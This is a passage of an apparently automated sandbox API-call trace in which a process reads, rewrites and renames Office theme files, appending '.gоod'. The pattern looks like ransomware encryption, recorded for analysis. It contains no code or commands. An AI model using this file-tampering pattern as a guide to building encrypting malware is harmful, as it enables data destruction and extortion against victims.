[0135.717] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0135.717] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Office Theme.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\office theme.thmx.gоod")) returned 1 [0135.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0135.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0135.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), fInfoLevelId=0x0, lpFileInformation=0x39195a8 | out: lpFileInformation=0x39195a8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1132ba98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x84d621)) returned 1 [0135.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0135.718] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0135.718] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.718] GetFileType (hFile=0x61c) returned 0x1 [0135.718] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.718] GetFileType (hFile=0x61c) returned 0x1 [0135.718] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0135.718] ReadFile (in: hFile=0x61c, lpBuffer=0x39199c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x39199c0*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0135.744] CloseHandle (hObject=0x61c) returned 1 [0135.744] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0135.744] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.744] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.744] GetFileType (hFile=0x61c) returned 0x1 [0135.744] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.744] GetFileType (hFile=0x61c) returned 0x1 [0135.744] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x84d621 [0135.744] WriteFile (in: hFile=0x61c, lpBuffer=0x3964d38*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x3964d38*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0135.781] CloseHandle (hObject=0x61c) returned 1 [0135.782] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0135.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0135.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0135.782] GetFileType (hFile=0x61c) returned 0x1 [0135.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0135.782] GetFileType (hFile=0x61c) returned 0x1 [0135.782] ReadFile (in: hFile=0x61c, lpBuffer=0x39e6d70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x39e6d70*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0136.001] CloseHandle (hObject=0x61c) returned 1 [0136.001] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0136.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.001] GetFileType (hFile=0x61c) returned 0x1 [0136.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.001] GetFileType (hFile=0x61c) returned 0x1 [0136.001] WriteFile (in: hFile=0x61c, lpBuffer=0x3799f90*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x3799f90*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0136.002] CloseHandle (hObject=0x61c) returned 1 [0136.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx", lpFilePart=0x0) returned 0x46 [0136.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.gоod", lpFilePart=0x0) returned 0x4b [0136.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0136.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x111d450b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x111d450b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4d46b190, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x84d631)) returned 1 [0136.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0136.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Organic.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\organic.thmx.gоod")) returned 1 [0136.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0136.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), fInfoLevelId=0x0, lpFileInformation=0x3827610 | out: lpFileInformation=0x3827610*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1160070a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x18c4dc)) returned 1 [0136.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0136.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.004] GetFileType (hFile=0x61c) returned 0x1 [0136.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.004] GetFileType (hFile=0x61c) returned 0x1 [0136.004] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0136.004] ReadFile (in: hFile=0x61c, lpBuffer=0x3827a38, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x3827a38*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0136.006] CloseHandle (hObject=0x61c) returned 1 [0136.006] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.006] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.006] GetFileType (hFile=0x61c) returned 0x1 [0136.006] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.006] GetFileType (hFile=0x61c) returned 0x1 [0136.006] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x18c4dc [0136.006] WriteFile (in: hFile=0x61c, lpBuffer=0x3828d08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x3828d08*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0136.008] CloseHandle (hObject=0x61c) returned 1 [0136.008] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.008] GetFileType (hFile=0x61c) returned 0x1 [0136.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.008] GetFileType (hFile=0x61c) returned 0x1 [0136.008] ReadFile (in: hFile=0x61c, lpBuffer=0x382b040, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x382b040*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0136.657] CloseHandle (hObject=0x61c) returned 1 [0136.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.657] GetFileType (hFile=0x61c) returned 0x1 [0136.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.657] GetFileType (hFile=0x61c) returned 0x1 [0136.657] WriteFile (in: hFile=0x61c, lpBuffer=0x37aa328*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x37aa328*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0136.658] CloseHandle (hObject=0x61c) returned 1 [0136.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx", lpFilePart=0x0) returned 0x49 [0136.658] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.gоod", lpFilePart=0x0) returned 0x4e [0136.658] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0136.658] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1132ba98, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1132ba98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4daad2ce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x18c4ec)) returned 1 [0136.658] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0136.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Retrospect.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\retrospect.thmx.gоod")) returned 1 [0136.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0136.659] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0136.659] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), fInfoLevelId=0x0, lpFileInformation=0x393b798 | out: lpFileInformation=0x393b798*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115b4243, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd322a)) returned 1 [0136.659] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0136.659] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0136.660] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0136.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0136.660] GetFileType (hFile=0x61c) returned 0x1 [0136.660] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0136.660] GetFileType (hFile=0x61c) returned 0x1 [0136.660] SetFilePointer (in: hFile=0x61c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0x1000 [0136.660] ReadFile (in: hFile=0x61c, lpBuffer=0x393bba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed2e8, lpOverlapped=0x0 | out: lpBuffer=0x393bba0*, lpNumberOfBytesRead=0x200ed2e8*=0x1000, lpOverlapped=0x0) returned 1 [0137.013] CloseHandle (hObject=0x61c) returned 1 [0137.013] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0137.013] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0137.013] GetFileType (hFile=0x61c) returned 0x1 [0137.013] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.013] GetFileType (hFile=0x61c) returned 0x1 [0137.013] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ed318*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ed318*=0) returned 0xd322a [0137.013] WriteFile (in: hFile=0x61c, lpBuffer=0x38a5678*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ed208, lpOverlapped=0x0 | out: lpBuffer=0x38a5678*, lpNumberOfBytesWritten=0x200ed208*=0x10, lpOverlapped=0x0) returned 1 [0137.015] CloseHandle (hObject=0x61c) returned 1 [0137.015] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0137.015] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0137.015] GetFileType (hFile=0x61c) returned 0x1 [0137.015] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.015] GetFileType (hFile=0x61c) returned 0x1 [0137.015] ReadFile (in: hFile=0x61c, lpBuffer=0x38a7930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ed298, lpOverlapped=0x0 | out: lpBuffer=0x38a7930*, lpNumberOfBytesRead=0x200ed298*=0x1000, lpOverlapped=0x0) returned 1 [0137.054] CloseHandle (hObject=0x61c) returned 1 [0137.054] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0137.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x61c [0137.055] GetFileType (hFile=0x61c) returned 0x1 [0137.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed130) returned 1 [0137.055] GetFileType (hFile=0x61c) returned 0x1 [0137.055] WriteFile (in: hFile=0x61c, lpBuffer=0x38a6690*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ed348, lpOverlapped=0x0 | out: lpBuffer=0x38a6690*, lpNumberOfBytesWritten=0x200ed348*=0x1010, lpOverlapped=0x0) returned 1 [0137.055] CloseHandle (hObject=0x61c) returned 1 [0137.307] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx", lpFilePart=0x0) returned 0x44 [0137.307] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx.gоod", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx.gоod", lpFilePart=0x0) returned 0x49 [0137.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed280) returned 1 [0137.307] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), fInfoLevelId=0x0, lpFileInformation=0x200ed360 | out: lpFileInformation=0x200ed360*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11377f40, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4de66f74, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd323a)) returned 1 [0137.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed240) returned 1 [0137.307] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Slice.thmx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\slice.thmx.gоod")) returned 1 [0137.308] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.308] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed2c0) returned 1 [0137.308] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), fInfoLevelId=0x0, lpFileInformation=0x3847a00 | out: lpFileInformation=0x3847a00*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1)) returned 1 [0137.309] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ed280) returned 1 [0137.309] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", nBufferLength=0x105, lpBuffer=0x200ecca0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx", lpFilePart=0x0) returned 0x43 [0137.309] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ed1c0) returned 1 [0137.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Wisp.thmx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\wisp.thmx"), 